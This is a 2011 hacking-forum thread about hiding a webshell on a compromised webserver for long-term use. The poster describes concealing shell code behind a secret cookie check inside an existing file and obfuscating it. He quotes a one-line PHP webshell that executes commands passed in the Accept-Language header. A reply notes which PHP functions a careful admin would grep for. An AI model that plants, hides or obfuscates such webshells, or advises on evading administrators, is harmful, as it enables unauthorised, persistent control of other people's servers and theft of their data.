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www.waraxe.us Forum Index -> Shell commands injection -> hiding a webshell for long-term use
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hiding a webshell for long-term use
PostPosted: Fri May 20, 2011 4:49 am Reply with quote
-AO-
Advanced user
Advanced user
 
Joined: Jul 15, 2008
Posts: 205
Location: United States




whats up guys,

anyone have advice or experience when trying to hide a shell on a webserver. what i've been doing is hiding the shell inside an existing file with something like this...

if(isset($_COOKIE['itsMe'])){
shell code
}

and then obfuscating the code.

i've read this...
http://www.waraxe.us/ftopic-1834-0-days0-orderasc-.html
Code:

<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"));?>


it's good but i have my own shell code that does specific functions...

so whats the best way to hide a shell for long-term use? any ideas?
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PostPosted: Fri May 20, 2011 10:28 am Reply with quote
pexli
Valuable expert
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Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Depend's of server where you want to hide shell and mostly admin hoo working on server.If is stupid you can use code you posted, but if is smart they well be grep on all system function passthru() , getenv() , exec() , system() ....etc.List is too long.
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PostPosted: Sat May 21, 2011 8:59 am Reply with quote
-AO-
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Joined: Jul 15, 2008
Posts: 205
Location: United States




my shell needs to use the database on localhost. and thanks pexli Smile
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PostPosted: Sat May 21, 2011 12:38 pm Reply with quote
pexli
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Joined: May 24, 2007
Posts: 665
Location: Bulgaria




If you need access only to databases use SQLyog.Smile
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hiding a webshell for long-term use
  www.waraxe.us Forum Index -> Shell commands injection
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